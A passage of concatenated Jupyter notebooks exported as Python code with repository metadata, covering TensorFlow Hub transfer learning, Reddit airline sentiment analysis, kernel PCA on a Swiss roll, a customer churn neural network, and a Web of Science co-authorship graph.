np.array(chain.predict_proba(x_val))\n\n# +\n#fit 10 CC and create an ensemble\nchains = [ClassifierChain(base_lr, order='random', random_state=i)\n for i in range(5)]\n\ni = 0\nfor chain in chains:\n print(i)\n i += 1\n chain.fit(X_train, Y_train)\n\nY_pred_chains = np.array([chain.predict_proba(x_val) for chain in\n chains])\n\n# chain_jaccard_scores = [jaccard_score(Y_test, Y_pred_chain >= .5,\n# average='samples')\n# for Y_pred_chain in Y_pred_chains]\n\n# Y_pred_ensemble = Y_pred_chains.mean(axis=0)\n# ensemble_jaccard_score = jaccard_score(Y_test,\n# Y_pred_ensemble >= .5,\n# average='samples')\n\n# model_scores = [ovr_jaccard_score] + chain_jaccard_scores\n# model_scores.append(ensemble_jaccard_score)\n\n# model_names = ('Independent',\n# 'Chain 1',\n# 'Chain 2',\n# 'Chain 3',\n# 'Chain 4',\n# 'Chain 5',\n# 'Chain 6',\n# 'Chain 7',\n# 'Chain 8',\n# 'Chain 9',\n# 'Chain 10',\n# 'Ensemble')\n\n# x_pos = np.arange(len(model_names))\n\n# # Plot the Jaccard similarity scores for the independent model, each of the\n# # chains, and the ensemble (note that the vertical axis on this plot does\n# # not begin at 0).\n\n# fig, ax = plt.subplots(figsize=(7, 4))\n# ax.grid(True)\n# ax.set_title('Classifier Chain Ensemble Performance Comparison')\n# ax.set_xticks(x_pos)\n# ax.set_xticklabels(model_names, rotation='vertical')\n# ax.set_ylabel('Jaccard Similarity Score')\n# ax.set_ylim([min(model_scores) * .9, max(model_scores) * 1.1])\n# colors = ['r'] + ['b'] * len(chain_jaccard_scores) + ['g']\n# ax.bar(x_pos, model_scores, alpha=0.5, color=colors)\n# plt.tight_layout()\n# plt.show()\n# -\n\nY_pred_chains\n\n\n","repo_name":"tinikva/ML_Project","sub_path":"explore_data_Tiko.ipynb","file_name":"explore_data_Tiko.ipynb","file_ext":"py","file_size_in_byte":6252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"30502485752","text":"# + [markdown] id=\"PWUmcKKjtwXL\" colab_type=\"text\"\n# # Hub with Keras\n#\n# \n# \n# \n# \n#
\n# View on TensorFlow.org\n# \n# Run in Google Colab\n# \n# View source on GitHub\n#
\n\n# + [markdown] id=\"crU-iluJIEzw\" colab_type=\"text\"\n# [TensorFlow Hub](http://tensorflow.org/hub) is a way to share pretrained model components. See [their site](https://tfhub.dev/) for a searchable listing of pre-trained models.\n#\n# This tutorial provides a quick walkthrough of how to use `tfhub` with `tf.keras`.\n\n# + [markdown] id=\"CKFUvuEho9Th\" colab_type=\"text\"\n# ## Setup\n\n# + [markdown] id=\"7RVsYZLEpEWs\" colab_type=\"text\"\n# ### Imports\n\n# + id=\"OGNpmn43C0O6\" colab_type=\"code\" outputId=\"5a062871-98b0-4d5b-cbd6-a8901fbb1fd8\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\nimport tensorflow_hub as hub\n\nfrom tensorflow.keras import layers\n\ntf.VERSION\n\n# + [markdown] id=\"ApBqGprKnyPm\" colab_type=\"text\"\n# ### Dataset\n#\n# For this example we'll use the TensorFlow flowers dataset: \n\n# + id=\"yU3xd71Zx-dz\" colab_type=\"code\" outputId=\"dd9a2df7-4a78-43b3-9fc8-d2b897f05b63\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\nimport pathlib\ndata_root = tf.keras.utils.get_file(\n 'flower_photos','https://storage.googleapis.com/download.tensorflow.org/example_images/flower_photos.tgz',\n untar=True)\n\ndata_root = pathlib.Path(data_root)\nprint(data_root)\n\n# + id=\"W0U7QJDG0qRZ\" colab_type=\"code\" colab={}\nIMAGE_SIZE=224\n\n# + [markdown] id=\"DfjX-Qdan4hL\" colab_type=\"text\"\n# The simplest way to load this data into our model is using `tf.keras.preprocessing.image.ImageDataGenerator`:\n#\n# All of TensorFlow Hub's image modules expect input in the `[0, 1]`. Use the `ImageDataGenerator`'s `rescale` parameter to achieve this. \n\n# + id=\"Dy8PqP5zunEx\" colab_type=\"code\" outputId=\"7635cd70-da2d-4e9e-f49f-6aa282732b79\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\nimage_generator = tf.keras.preprocessing.image.ImageDataGenerator(rescale=1/255)\nimage_data = image_generator.flow_from_directory(data_root, target_size=(IMAGE_SIZE, IMAGE_SIZE))\n\n# + [markdown] id=\"tbzxwOEqoEDf\" colab_type=\"text\"\n# The resulting object is an iterator that returns `image_batch, label_batch` pairs.\n\n# + id=\"7pQ57Og5vNrf\" colab_type=\"code\" outputId=\"7401e984-57cb-4da9-a8a8-bfbc621d29af\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 51}\nfor image_batch,label_batch in image_data:\n print(image_batch.shape)\n print(label_batch.shape)\n break\n\n# + [markdown] id=\"s4YuF5HvpM1W\" colab_type=\"text\"\n# ## An ImageNet classifier\n\n# + [markdown] id=\"xEY_Ow5loN6q\" colab_type=\"text\"\n# ### Download the classifier\n#\n# Use `hub.module` to load a mobilenet, and `tf.keras.layers.Lambda` to wrap it up as a keras layer.\n\n# + id=\"y_6bGjoPtzau\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"f146744f-3421-47fc-b9ef-b54b9181dcbb\"\nmobilenet_layer = layers.Lambda(hub.Module(\"https://tfhub.dev/google/imagenet/mobilenet_v2_100_224/classification/2\"))\nmobilenet_classifier = tf.keras.Sequential([mobilenet_layer])\n\n# + [markdown] id=\"hCVnyAacog0P\" colab_type=\"text\"\n# ### Run it on a batch of images\n#\n# TensorFlow hub requires that you manually ititialize it's vairables. \n\n# + id=\"fIQkSI_Vt2Ne\" colab_type=\"code\" colab={}\nimport tensorflow.keras.backend as K\nsess = K.get_session()\ninit = tf.global_variables_initializer()\n\nsess.run(init)\n\n# + [markdown] id=\"iNMdrnJzoppN\" colab_type=\"text\"\n# Now run the classifier on the image batch.\n\n# + id=\"7yiyuXJKt628\" colab_type=\"code\" outputId=\"f27cfdf8-3ccf-4807-81f6-65142c52f189\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 51}\nresult_batch = mobilenet_classifier.predict(image_batch)\n\n# + [markdown] id=\"YrxLMajMoxkf\" colab_type=\"text\"\n# ### Decode the predictions\n#\n# Fetch the `ImageNet` labels, and decode the predictions\n\n# + id=\"ij6SrDxcxzry\" colab_type=\"code\" outputId=\"092b1962-87de-4e6a-85a7-1ae7118e8947\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 119}\nimport numpy as np\nlabels_path = tf.keras.utils.get_file('ImageNetLabels.txt','https://storage.googleapis.com/download.tensorflow.org/data/ImageNetLabels.txt')\nimagenet_labels = np.array(open(labels_path).read().splitlines())\n\nlabels_batch = imagenet_labels[np.argmax(result_batch, axis=-1)]\nlabels_batch\n\n# + [markdown] id=\"WqORYNSPv0-W\" colab_type=\"text\"\n# Now check how these predictions line up with the images:\n\n# + id=\"zqZPX67Zv0E0\" colab_type=\"code\" outputId=\"1ed0c8aa-e403-4277-f41a-035718e6189c\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 602}\nimport matplotlib.pylab as plt\n\nplt.figure(figsize=(10,9))\nfor n in range(30):\n plt.subplot(6,5,n+1)\n plt.imshow(image_batch[n])\n plt.title(labels_batch[n])\n plt.axis('off')\n_ = plt.suptitle(\"ImageNet predictions\")\n\n# + [markdown] id=\"n_oFmEk_rT4M\" colab_type=\"text\"\n# See the `LICENSE.txt` file for attributions.\n#\n# The results are far from perfect, but good considering that these are not the classes the model was trained for (except \"daisy\").\n\n# + [markdown] id=\"amfzqn1Oo7Om\" colab_type=\"text\"\n# ## Simple transfer learning\n\n# + [markdown] id=\"JzV457OXreQP\" colab_type=\"text\"\n# ### Download the headless model\n#\n# TensorFlow Hub also distributes models without the top classification layer. These can be used to easily do transfer learning.\n\n# + id=\"5wB030nezBwI\" colab_type=\"code\" colab={}\nmobilenet_features_module = hub.Module(\"https://tfhub.dev/google/imagenet/mobilenet_v2_100_224/feature_vector/2\")\nmobilenet_features = layers.Lambda(mobilenet_features_module)\nmobilenet_features.trainable = False\n\n# + [markdown] id=\"xNLcn5CesIMb\" colab_type=\"text\"\n# Again, this this must be initialized.\n\n# + id=\"HzBXXWjsyUGH\" colab_type=\"code\" colab={}\ninit = tf.global_variables_initializer()\nsess.run(init)\n\n# + [markdown] id=\"RPVeouTksO9q\" colab_type=\"text\"\n# ### Attach a classification head\n#\n# Now wrap the hub layer in a `tf.keras.Sequential` model, and add a new classification layer.\n\n# + id=\"mGcY27fY1q3Q\" colab_type=\"code\" colab={}\nmodel = tf.keras.Sequential([\n mobilenet_features,\n layers.Dense(image_data.num_classes, activation='softmax')\n])\n\n# + [markdown] id=\"uppwC81ksYBx\" colab_type=\"text\"\n# Test run a single batch, to see that the result comes back with the expected shape.\n\n# + id=\"BgYI5G3ZFPWS\" colab_type=\"code\" outputId=\"9a0777a0-92f9-4a4d-b92b-09c62feac5d1\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 68}\nresult = model.predict(image_batch)\nresult.shape\n\n# + [markdown] id=\"OHbXQqIquFxQ\" colab_type=\"text\"\n# ### Train the model\n#\n# Use compile to configure the training process:\n\n# + id=\"3n0Wb9ylKd8R\" colab_type=\"code\" colab={}\nmodel.compile(\n optimizer=tf.train.AdamOptimizer(), \n loss='categorical_crossentropy',\n metrics=['accuracy'])\n\n# + [markdown] id=\"58-BLV7dupJA\" colab_type=\"text\"\n# Now use the `.fit` method to train the model.\n#\n# Normally you would set the number of steps per epoch, but to keep this example short we'll reain just long enough to see that the loss is reducing.\n\n# + id=\"EyMDJxt2HdHr\" colab_type=\"code\" outputId=\"9163e65e-846a-4d99-885c-ea05bceb5180\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 204}\n#steps_per_epoch=image_data.samples//image_data.batch_size)\nmodel.fit_generator(image_data, epochs=5, steps_per_epoch=10)\n\n# + [markdown] id=\"Kd0N272B9Q0b\" colab_type=\"text\"\n# Now after, even just a few training iterations, we can already see that the model is making progress on the task.\n\n# + [markdown] id=\"kb__ZN8uFn-D\" colab_type=\"text\"\n# ### Decode the predictions\n#\n# To redo the plot from before, first get the ordered list of class names:\n\n# + id=\"nrkw6XDqELa8\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 51} outputId=\"f4a5c69e-a7d6-466c-a90d-e06d5f8e1d65\"\nlabel_names = sorted(image_data.class_indices.items(), key=lambda pair:pair[1])\nlabel_names = np.array([key.title() for key, value in label_names])\nlabel_names\n\n# + [markdown] id=\"4Olg6MsNGJTL\" colab_type=\"text\"\n# Run the image batch through the model and comvert the indices to class names.\n\n# + id=\"Oq5Y06-d9xI_\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 136} outputId=\"6f18de6e-821b-4929-d042-749884c3b1d0\"\nresult_batch = model.predict(image_batch)\n\nlabels_batch = label_names[np.argmax(result_batch, axis=-1)]\nlabels_batch\n\n# + [markdown] id=\"CkGbZxl9GZs-\" colab_type=\"text\"\n# Plot the result\n\n# + id=\"wC_AYRJU9NQe\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 602} outputId=\"22b36909-fd06-474f-8b41-9602883280db\"\nplt.figure(figsize=(10,9))\nfor n in range(30):\n plt.subplot(6,5,n+1)\n plt.imshow(image_batch[n])\n plt.title(labels_batch[n])\n plt.axis('off')\n_ = plt.suptitle(\"Model predictions\")\n\n# + id=\"S9AVtdCqMSZ7\" colab_type=\"code\" colab={}\n\n","repo_name":"srjoglekar246/docs","sub_path":"site/en/tutorials/images/hub_with_keras.ipynb","file_name":"hub_with_keras.ipynb","file_ext":"py","file_size_in_byte":9517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"10269459760","text":"import datetime as dt\nimport numpy as np\nfrom tqdm import tqdm\nimport json\nimport matplotlib.pyplot as plt\nimport math\n\nwith open('./csvs/reddit-jetblue-sentiment.json', 'r') as fp:\n topics_dict = json.load(fp)\n\n# ### Overall NLP Graphs\n\n# +\nent_score = np.asarray(topics_dict[\"ent_score\"])\nprint(\"ent_score\",\"Mean:\",np.mean(ent_score),\"St Dev:\",np.std(ent_score))\nplt.plot(ent_score)\nplt.show()\n\nent_magn = np.asarray(topics_dict[\"ent_magn\"])\nprint(\"ent_magn\",\"Mean:\",np.mean(ent_magn),\"St Dev:\",np.std(ent_magn))\nplt.plot(ent_magn)\nplt.show()\n\noverall_score = np.asarray(topics_dict[\"overall_score\"])\nprint(\"overall_score\",\"Mean:\",np.mean(overall_score),\"St Dev:\",np.std(overall_score))\nplt.plot(overall_score)\nplt.show()\n\noverall_magn = np.asarray(topics_dict[\"overall_magn\"])\nprint(\"overall_magn\",\"Mean:\",np.mean(overall_magn),\"St Dev:\",np.std(overall_magn))\nplt.plot(overall_magn)\nplt.show()\n\n# +\nprint(\"Ent score vs. magn\")\nplt.scatter(ent_score, ent_magn, s=3)\nplt.show()\n\nprint(\"Overall score vs. magn\")\nplt.scatter(overall_score, overall_magn, s=3)\nplt.show()\n# -\n\n# ### Score Correlation\n\nent_score = topics_dict[\"ent_score\"]\nent_magn = topics_dict[\"ent_magn\"]\ntitle = topics_dict[\"title\"]\nbody = topics_dict[\"body\"]\nfor i, scr in enumerate(ent_score):\n if scr < 0:\n print(\"Title:\",title[i],\"Ent Score\", ent_score[i], \"Ent Magn\", ent_score[i], \"\\n Body:\",body[i],'\\n\\n\\n')\n\n# +\nent_score = topics_dict[\"ent_score\"]\nent_magn = topics_dict[\"ent_magn\"]\ntitle = topics_dict[\"title\"]\nbody = topics_dict[\"body\"]\n\nct = 0\ntotal = 0\nposts = []\nfor i, scr in enumerate(ent_score):\n if scr is not 0:\n total += 1\n if scr > 0:\n ct += 1\n # keywords = [\"food\", \"voucher\"] # food\n keywords = [\"recruit\", \"academy\", \"cadet\", \"job\", \"intern\"] # jobs\n # keywords = [\"dog \", \"cat \", \"pet \"] # pet\n # keywords = [\"luggage\", \"baggage\", \"lost\", \"delay\", \"late\"] # delay\n # keywords = [\"rude\", \"mean\", \"yell\"] # quality of care\n # keywords = [\"wifi\", \"outlet\", \"connectivity\"]\n # keywords = [\"website\", \"mobile\"]\n for keyword in keywords:\n if keyword in body[i]:\n posts.append(i)\n break\nprint(\"Num posts\", len(posts), \", Same Sentiment\", ct, \", Percentage\", (len(posts)/total*100), \", Total\", total)\n# -\n\nfor i in posts:\n print(\"Title:\",title[i],\"Ent Score\", ent_score[i], \"Ent Magn\", ent_score[i], \"\\n Body:\",body[i],'\\n\\n\\n')\n\n# +\nent_score = topics_dict[\"ent_score\"]\nent_magn = topics_dict[\"ent_magn\"]\ntitle = topics_dict[\"title\"]\nbody = topics_dict[\"body\"]\ncreated = topics_dict[\"created\"]\n\nct = 0\ntotal = 0\nmonths = [0 for x in range(12)]\nfor i, scr in enumerate(ent_score):\n if scr is not 0:\n total += 1\n if scr > 0:\n ct += 1\n months[dt.datetime.fromtimestamp(created[i]).month-1] += 1\nprint(\"Total\", total)\nprint(months)\nplt.plot(months)\nplt.show()\n","repo_name":"mvpatel2000/BlueSkyScraper","sub_path":"Reddit Analysis.ipynb","file_name":"Reddit Analysis.ipynb","file_ext":"py","file_size_in_byte":2902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"27767724085","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport seaborn as sns\nimport matplotlib.style\nimport matplotlib as mp\nfrom mpl_toolkits.mplot3d import Axes3D\nimport plotly.express as px\nfrom plotly.offline import plot\nfrom sklearn import datasets\nfrom sklearn.datasets import fetch_openml\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.decomposition import PCA\nfrom sklearn.decomposition import IncrementalPCA\nfrom sklearn.decomposition import KernelPCA\nfrom sklearn.model_selection import GridSearchCV \nfrom sklearn.linear_model import LogisticRegression \nfrom sklearn.pipeline import Pipeline\n\n# +\n#Generate Swiss roll dataset.\nX_swiss, Y_swiss = datasets.make_swiss_roll(n_samples = 1000,noise =0.2, random_state = 42)\n\nprint(\"Shape of Dataset is -: \", X_swiss.shape)\nprint(\"Shape of Target is -: \", Y_swiss.shape)\n# -\n\n#Plot the resulting generated Swiss roll dataset.\nfig_swiss = plt.figure(figsize=(7,7))\nax = fig_swiss.add_subplot(111, projection='3d')\nax.scatter(X_swiss[:, 0], X_swiss[:, 1], X_swiss[:, 2], c = Y_swiss)\nplt.title('Swiss Curve in 3D')\nplt.show()\n\n#Use Kernel PCA (kPCA) with linear kernel (2 points), a RBF kernel (2 points), and a sigmoid kernel (2 points). [6 points]\n#PCA (kPCA) with linear kernel\nlinear_kpca= KernelPCA(n_components=2, kernel = 'linear', gamma = 0.04)\nX_linear_kpca = linear_kpca.fit_transform(X_swiss)\n\n\n#PCA (kPCA) with rbf kernel\nrbf_kpca = KernelPCA(n_components=2, kernel = 'rbf', gamma = 0.04)\nX_rbf_kpca = rbf_kpca.fit_transform(X_swiss)\n\n\n#PCA (kPCA) with sigmoid kernel\nsigmoid_kpca = KernelPCA(n_components=2, kernel = 'sigmoid', gamma = 0.04)\nX_sigmoid_kpca = sigmoid_kpca.fit_transform(X_swiss)\n\n\n# +\n#Plot the kPCA results of applying the linear kernel (2 points), a RBF kernel (2 points), and a sigmoid kernel (2 points) from (3).\n\n#Linear Kernel Graph\nfig_swiss_linear = plt.figure(figsize=(10,10))\nax = fig_swiss_linear.add_subplot(111)\nax.scatter(X_linear_kpca[:, 0], X_linear_kpca[:, 1], c = Y_swiss)\nplt.title('Linear kernel Curve')\nplt.show()\n\n\n\n# +\n#RBF Kernel Graph\nfig_swiss_rbf = plt.figure(figsize=(7,7))\nax = fig_swiss_rbf.add_subplot(111)\nax.scatter(X_rbf_kpca[:, 0], X_rbf_kpca[:, 1], c = Y_swiss)\nplt.title('RBF kernel')\nplt.show()\n\n\n\n# +\n#Sigmoid Kernel Graph\nfig_swiss_sigmoid = plt.figure(figsize=(7,7))\nax = fig_swiss_sigmoid.add_subplot(111)\nax.scatter(X_sigmoid_kpca[:, 0], X_sigmoid_kpca[:, 1], c = Y_swiss)\nplt.title('Sigmoid kernel Curve')\nplt.show()\n\n\n\n\n# +\n#Using kPCA and a kernel of your choice, apply Logistic Regression for classification. \n#Use GridSearchCV to find the best kernel and gamma value for kPCA in order to get the best classification accuracy at the end of the pipeline. \n#Print out best parameters found by GridSearchCV.\n\nclf = Pipeline([\n (\"kpca\", KernelPCA(n_components=2)),\n (\"log_reg\", LogisticRegression(multi_class=\"multinomial\",solver=\"lbfgs\", random_state=42, max_iter=1000))\n])\nparam_grid = [{\n \"kpca__gamma\": np.linspace(0.03, 0.05, 10),\n \"kpca__kernel\": [\"linear\",\"rbf\", \"sigmoid\"]\n }]\ngrid_search = GridSearchCV(clf, param_grid, cv=3)\ngrid_search.fit(X_swiss.astype(int), Y_swiss.astype(int))\n\n# -\n\npd.DataFrame(grid_search.cv_results_)\n\npd.DataFrame(grid_search.cv_results_).keys()\n\n\n#6. Plot the results from using GridSearchCV in (5). [2 points]\nprint(f'Best Param: {grid_search.best_params_}')\n\n\nprint(f'Best Estimator: {grid_search.best_estimator_}')\n\n\nprint(f'Best Score: {grid_search.best_score_}')\n\n\nprint(f'CV Result: {grid_search.cv_results_}')\n\nfrom sklearn_evaluation import plot\nplt.rcParams['figure.figsize'] = [30, 15]\nplot.grid_search(grid_search.cv_results_,change=\"kpca__gamma\",kind='bar')\n\nplt.rcParams['figure.figsize'] = [30, 15]\nplot.grid_search(grid_search.cv_results_,change=\"kpca__gamma\",kind='line')\n\nplot.grid_search(grid_search.cv_results_, change=('kpca__gamma', 'kpca__kernel'))\n","repo_name":"jjohanmo/Unsupervised-Learning-Projects","sub_path":"Swissroll_Kernel PCA _Question2.ipynb","file_name":"Swissroll_Kernel PCA _Question2.ipynb","file_ext":"py","file_size_in_byte":3913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"21663379805","text":"# +\n# Artificial Neural Network\n\n# +\n# Part 1 - Data Preprocessing\n# -\n\nimport numpy as np\n\nimport pandas as pd\n\nimport matplotlib.pyplot as plt\n\ndataset = pd.read_csv('C:\\\\Users\\\\peech\\\\OneDrive\\\\Documents\\\\Churn_Modelling.csv')\n\ndataset.head()\n\ndataset.info()\n\nlen(dataset)\n\nX = dataset.iloc[:, 3:13].values\n\nX\n\ny = dataset.iloc[:,-1].values\n\ny\n\n# +\n# Encoding categorical data\n# Encoding independent variable\n# -\n\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\n\nlabelencoder_x_1 = LabelEncoder()\n\nX[:,1] = labelencoder_x_1.fit_transform(X[:,1])\n\nX\n\nlabelencoder_x_2 = LabelEncoder()\n\nX[:,2] = labelencoder_x_2.fit_transform(X[:,2])\n\nX\n\nonehotencoder = OneHotEncoder(categorical_features=[1])\n\nX = onehotencoder.fit_transform(X).toarray()\n\nX\n\nX[:,3]\n\nX[:,4]\n\nX = X[:, 1:]\n\nX\n\nX.shape\n\n# +\n# Splitting dataset into training set and test set\n# -\n\nfrom sklearn.model_selection import train_test_split\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0)\n\n# +\n# Feature Scaling\n# -\n\nfrom sklearn.preprocessing import StandardScaler\n\nsc = StandardScaler()\n\nX_train = sc.fit_transform(X_train)\n\nX_test = sc.transform(X_test)\n\nprint(X_train)\n\nprint(X_test)\n\n# +\n# Part 2 - Making the ANN\n\n# +\n# Importing the Keras libraries and packages\n# -\n\nimport keras\n\nfrom keras.models import Sequential # What will be used to initialize the Neural Network\n\nfrom keras.layers import Dense # For Creating the layers in the Artificial Neural Network\n\n# +\n# Initializing the ANN - Defining it as a sequence of layers\n\n# +\n# Two ways of Initializing a Deep Learning Model: It's either by defining this sequence of layers or the other way of defining a graph\n\n# +\n# Here we will initialize our deep learning model by defining it as a sequence of layers\n# -\n\nclassifier = Sequential() # Don't need to pass in any arguments because we define the layers later step-by-step\n# Initialized the ANN\n\n# +\n# Adding the input layer and the first hidden layer\n# -\n\nclassifier.add(Dense(units = 6, kernel_initializer = 'uniform', activation = 'relu', input_dim = 11)) \n# activation = 'relu' here because this is the hidden layer and activation for hidden layer is rectifier function\n# add method is used to add the different layers in Neural Network\n# Number of nodes in input layer = 11 because number of independent variables = 11\n# Number of nodes in output layer = 1\n# Average = (11+1)/2 = (12)/2 = 6 Nodes in hidden layer; output_dim/units\n# input_dim = 11 to represent number of independent variables = 11; Need to specify this for first hidden layer because no input layer was created yet\n\n# +\n# Adding the second hidden layer\n# -\n\nclassifier.add(Dense(units = 6, kernel_initializer = 'uniform', activation = 'relu'))\n\n# +\n# Adding the output layer\n# -\n\nclassifier.add(Dense(units = 1, kernel_initializer = 'uniform', activation= 'sigmoid'))\n\n# +\n# Compiling the ANN\n# -\n\nclassifier.compile(optimizer= 'adam', loss= 'binary_crossentropy', metrics= ['accuracy']) \n# loss is like sum of squared errors in linear regression\n# loss function is logarithmic loss\n\n# +\n# Fitting ANN to the training set\n# -\n\nclassifier.fit(X_train, y_train, batch_size=10, epochs = 100)\n# batch_size is number of observations after which you want to update the weights\n# epoch is around when whole training set passed through ANN\n\n# +\n# Making the predictions and evaluating the model\n# -\n\ny_pred = classifier.predict(X_test)\n\nprint(y_pred)\n\ny_pred[5]\n\n\n# +\n# Making the Confusion Matrix\n\n# +\n# threshold is 0.5\n# -\n\ndef createBinaryPredictionsLst(val):\n if val < 0.5:\n return 0\n else:\n return 1\nbinary_predictions_lst = [createBinaryPredictionsLst(value) for value in y_pred]\n\nbinary_predictions_lst\n\ny_pred = (y_pred > 0.5)\n\ny_pred\n\nfrom sklearn.metrics import confusion_matrix\n\nfrom sklearn.metrics import classification_report\n\nprint(confusion_matrix(y_true = y_test, y_pred = binary_predictions_lst))\n\nprint(confusion_matrix(y_true = y_test, y_pred = y_pred))\n\nprint(classification_report(y_true = y_test, y_pred = binary_predictions_lst))\n\nprint(classification_report(y_true = y_test, y_pred = y_pred))\n\nprint((1539+144)/2000 * 100)\n\n\n","repo_name":"SankethReddy/Udemy-Projects","sub_path":"Predicting Customer Churn Using Artificial Neural Networks.ipynb","file_name":"Predicting Customer Churn Using Artificial Neural Networks.ipynb","file_ext":"py","file_size_in_byte":4167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"25969781879","text":"import collections\nimport glob\nimport itertools\nimport re\nimport networkx as nx\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom multiprocessing import Pool\nimport community\nimport operator\nimport igraph\nfrom pprint import pprint\n# %matplotlib inline\n\ndef popular(iterable, limit):\n \"\"\"\n A little utility to compute popular values on an iterable.\n \"\"\"\n return collections.Counter(iterable).most_common(limit)\n\n\ndef article_text_to_dict(article_text: str):\n \"\"\"\n Translates an article text into a dict.\n \"\"\"\n data = collections.defaultdict(list)\n field = ''\n for line in re.split(r'\\n+', article_text):\n # Fix little bug with isi files\n if line.startswith('null'):\n line = line[4:]\n name = line[:2]\n value = line[3:]\n if not name.isspace():\n field = name\n if not field.isspace() and field != 'ER':\n data[field].append(value)\n return dict(data)\n\n\n# +\nclass WosToolsError(Exception):\n \"\"\"\n All the errors go here.\n \"\"\"\n pass\n\n\nclass Article(object):\n \"\"\"\n Abstract a WOS article.\n \"\"\"\n\n def __init__(self, article_text):\n self._article_text = article_text\n self._data = article_text_to_dict(article_text)\n\n def __getattr__(self, name):\n if name not in self._data and not hasattr(self._data, name):\n raise AttributeError('{self.__class__.__name__} does not have an attribute %s' %name)\n if name not in self._data:\n return getattr(self._data, name)\n return self._data[name]\n\n def __hasattr__(self, name):\n return name in self._data\n\n\nclass CollectionLazy(object):\n \"\"\"\n A collection of WOS text files.\n \"\"\"\n\n def __init__(self, *filenames):\n self.filenames = filenames\n\n @classmethod\n def from_glob(cls, pattern):\n \"\"\"\n Creates a new collection from a pattern using glob.\n \"\"\"\n return cls(*glob.glob(pattern))\n\n @property\n def files(self):\n \"\"\"\n Iterates over all files in the collection\n \"\"\"\n for filename in self.filenames:\n try:\n with open(filename) as filehandle:\n yield filehandle\n except FileNotFoundError:\n raise WosToolsError('The file %s was not found' %filename)\n\n @property\n def article_texts(self):\n \"\"\"\n Iterates over all the single article texts in the colection.\n \"\"\"\n for filehandle in self.files:\n data = filehandle.read()\n for article_text in data.split('\\n\\n')[1:]:\n if article_text == 'EF':\n continue\n yield article_text\n\n @property\n def articles(self):\n \"\"\"\n Iterates over all articles.\n \"\"\"\n for article_text in self.article_texts:\n yield Article(article_text)\n\n @property\n def authors(self):\n \"\"\"\n Iterates over all article authors, including duplicates\n \"\"\"\n authors = (\n getattr(article, 'AF', [])\n for article in self.articles\n )\n return itertools.chain(*authors)\n\n @property\n def coauthors(self):\n \"\"\"\n Iterates over coauthor pairs.\n \"\"\"\n authors_by_article = (\n article.AF\n for article in self.articles\n if hasattr(article, 'AF')\n )\n for authors, article in zip(authors_by_article, self.articles):\n for pair in itertools.combinations(sorted(authors), 2):\n yield {\"pair\": pair, \"abstract\": getattr(article, 'AB', [])}\n\n def completeness(self, key=None):\n \"\"\"\n Computes the completeness of the collection by key.\n \"\"\"\n counters = collections.defaultdict(int)\n total = 0\n for article in self.articles:\n total += 1\n for key in article.keys():\n counters[key] += 1\n return {key: val/total for key, val in counters.items()}\n\n \nclass Collection(CollectionLazy):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self._article_texts = None\n\n @property\n def article_texts(self):\n \"\"\"\n Iterates over all the single article texts in the colection.\n \"\"\"\n if self._article_texts == None:\n self._article_texts = list(set(super().article_texts))\n return self._article_texts\n\n\n\n# -\n\n# # Building the graph\n\na = Collection.from_glob('../WoK/*.txt')\nauthors_list = list(set(list(a.authors)))\npprint(authors_list)\ncoauthors_list = list(a.coauthors)\n\n\n# +\nauthors_key = {name: i for i, name in enumerate(authors_list)}\n\ncoauthor_edges = [\n (authors_key[coauthor_edge.get(\"pair\")[0]], authors_key[coauthor_edge.get(\"pair\")[1]])\n for coauthor_edge in coauthors_list\n]\n\ng = Graph()\ng.add_vertices(len(authors_key))\ng.add_edges(coauthor_edges)\ng.vs['label'] = authors_list\ng.es['abstract'] = [coauthor_edge.get(\"abstract\") for coauthor_edge in coauthors_list]\n# -\n\n_ = plot(g, 'something.png')\n\nprint(g.vs.degree())\ng.simplify()\nprint(g.vs.degree())\n\n# # Clustering\n\n# +\ncomponents = g.components()\ncomponents.subgraphs()\n# plot?\n# -\n\nfor graph in components.subgraphs():\n if graph.vcount() > 20:\n plot(graph, f'graph-{graph.vcount()}.svg')\n pprint(list(zip(graph.vs.degree(), graph.vs['label'])))\n\nsub_graphs = list(nx.connected_component_subgraphs(G))\n\naut_limit = 20\nfor i,sg in enumerate(sub_graphs):\n sg_list = sorted(list(sg.degree()), key=lambda x: x[1], reverse=True)\n \n if (len(sg_list) >= aut_limit):\n \n print(\"The subgraph {} have {} nodes. The principal authors are {} with {} links and {} with {} links.\"\n .format(i,sg.number_of_nodes(),sg_list[0][0],sg_list[0][1],sg_list[1][0],sg_list[1][1]))\n \n print('The histogram of the authors production is ...')\n sg_data = np.array(sorted([sg_list[i][1] for i in range(aut_limit)], reverse=True))\n sg_data_val = [sg_list[i][0] for i in range(aut_limit)]\n plt.figure(figsize=(16,9))\n plt.bar(range(len(sg_data)), sg_data, align='center')\n 